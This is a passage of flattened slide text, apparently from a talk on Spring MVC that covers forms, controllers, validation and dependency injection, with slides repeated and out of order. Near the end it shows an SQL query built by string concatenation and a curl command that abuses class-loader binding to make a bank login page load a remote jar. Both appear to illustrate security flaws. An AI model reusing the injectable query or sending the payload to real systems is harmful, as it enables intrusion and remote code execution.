On Github jypma / spring-mvc-slides
Remind us again about:
Immutable (see advanced section)
@XmlRootElement(name = "TodoItem") @XmlAccessorType(XmlAccessType.NONE) public class TodoItem { public static TodoItem create(String title) { return new TodoItem(UUID.randomUUID(), title); } @XmlElement(name = "ID") private UUID id; @NotBlank @XmlElement(name = "Title") private String title; public String getTitle() { return title; } public UUID getId() { return id; } private TodoItem(UUID id, String title) { ... } }
Creating/editing a todo item
<h3>Todo item</h3> <form:form id="form" method="post" modelAttribute="item"> <form:hidden path="id"/> <div> <form:label path="title"> <spring:message code="item.title" /> </form:label> <form:input path="title" placeholder="What needs to be done?" /> <form:errors path="title" /> </div> <div><button type="submit" class="btn">Save</button></div> </form:form>
@Controller @RequestMapping("/todos") public class CreateTodoController { @ModelAttribute("item") public TodoItem item() { return TodoItem.empty(); } @RequestMapping(value="/create", method = GET) public String showCreate() { return "/todo/create"; } @RequestMapping(value="/create", method = POST) public String createFromForm(@Valid @ModelAttribute("item") TodoItem item, BindingResult result) { if (result.hasErrors()) { return showCreate(); } else { todoService.save(item.withId()); return "redirect:/todos"; } } }
Advantages
<spring:message code="item.title" />
Spring MVC
Server-side MVC in general
Spring MVC
Server-side MVC in general
Thank you
Jan Ypma ypma@lundogbendsen.dk
Jan Ypma ypma@lundogbendsen.dk
class Customer { private String name; public String getName() { return name; } public void setName (String name) { this.name = name; } /* many more fields and sub-objects */ }
Cache it! ... but what about those setters?
class Customer { private String name; private UUID id; /* getters and setters for all fields */ }
public void save (Customer c);
class Customer { public Customer changeName(String first, String last) { return new Customer (first, last, id, /* ... other ... */ ); } }
Request arrives, servlet picks controller Controller returns model and view name ViewResolver instantiates view from name View renders actual response
Integration between Spring MVC and Hibernate validator
NotBlank.item.title = Todo item must have a title
<form:errors path="title" />
public String handleCreate(@Valid Item item);
public String handleCreate(@Valid Item item, BindingResult errors);
1. Define your validation annotation
@Target( { METHOD, FIELD } ) @Retention(RUNTIME) @Constraint(validatedBy = ExistingItemIDValidator.class) public @interface ExistingItemID { String message() default "{nl.ypmania.demo.ExistingItemID}"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default {}; }
2. Write the implementation
public class ExistingItemIDValidator implements ConstraintValidator<ExistingItemID, UUID> { @Autowired private ItemService itemService; @Override public void initialize(ExistingItemID constraintAnnotation) { } @Override public boolean isValid(UUID id, ConstraintValidatorContext context) { return (id == null) ? true : itemService.exists(id); } }
@Autowired private ItemService itemService;
private ItemService itemService; @Autowired public void setItemService(ItemService service) { this.itemService = service; }
private ItemService itemService; @Autowired public MyService (ItemService service) { this.itemService = service; }
Two easy ways to add processing around requests
Spring HandlerInterceptorjdbc.execute("SELECT FROM USERS WHERE name = '" + name + "' AND password = '" + password + "'");
curl --data "class.classLoader.URLs[0]=jar:http://dl.com/dino.jar!/" \ http://mybank.com/login
Thank you
Jan Ypma ypma@lundogbendsen.dk